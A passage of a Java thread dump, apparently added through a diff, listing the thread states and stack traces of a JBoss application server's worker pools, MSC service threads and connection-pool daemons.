java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 14" #50 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-3" #15 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 16" #52 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-2" #14 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 20" #56 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 41" #79 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Finalizer" #3 daemon [WAITING] on java.lang.ref.ReferenceQueue$Lock@764559a1 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:135) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:151) + at java.lang.ref.Finalizer$FinalizerThread.run(Finalizer.java:177) + +"Signal Dispatcher" #4 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"MSC service thread 1-1" #13 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"MSC service thread 1-19" #31 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 3" #39 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 26" #64 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 34" #72 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 11" #47 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-6" #18 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 35" #73 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 23" #59 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 15" #51 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 7" #43 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-14" #26 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 9" #45 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"IdleRemover" #90 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@42ff95b0 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2176) + at org.jboss.jca.core.connectionmanager.pool.idle.IdleRemover$IdleRemoverRunner.run(IdleRemover.java:261) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 37" #75 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 32" #70 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 38" #76 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"MSC service thread 1-13" #25 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"MSC service thread 1-9" #21 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ContainerBackgroundProcessor[StandardEngine[jboss.web]]" #92 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at org.apache.catalina.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1579) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 5" #41 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 21" #57 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ConnectionValidator" #91 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@19bc782d + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2176) + at org.jboss.jca.core.connectionmanager.pool.validator.ConnectionValidator$ConnectionValidatorRunner.run(ConnectionValidator.java:263) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1145) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"Thread-80" #106 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:228) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:81) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:87) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:98) + at org.jboss.sun.net.httpserver.ServerImpl$Dispatcher.run(ServerImpl.java:382) + at java.lang.Thread.run(Thread.java:722) + +"server-timer" #102 daemon [TIMED_WAITING] on java.util.TaskQueue@2475df8e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"ServerService Thread Pool -- 25" #61 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"ServerService Thread Pool -- 13" #49 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"Transaction Reaper Worker 0" #100 daemon [WAITING] on java.util.LinkedList@36a7f655 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:503) + at com.arjuna.ats.arjuna.coordinator.TransactionReaper.waitForCancellations(TransactionReaper.java:321) + at com.arjuna.ats.internal.arjuna.coordinator.ReaperWorkerThread.run(ReaperWorkerThread.java:65) + +"ServerService Thread Pool -- 27" #65 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:359) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:942) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + at org.jboss.threads.JBossThread.run(JBossThread.java:122) + +"DestroyJavaVM" #36 [RUNNABLE] + java.lang.Thread.State: RUNNABLE + +"MSC service thread 1-15" #27 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@26b20782 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:186) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2043) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1068) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1130) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:615) + at java.lang.Thread.run(Thread.java:722) + +"ServerService Thread Pool -- 6" #42 [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@2f156944 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:226) + at 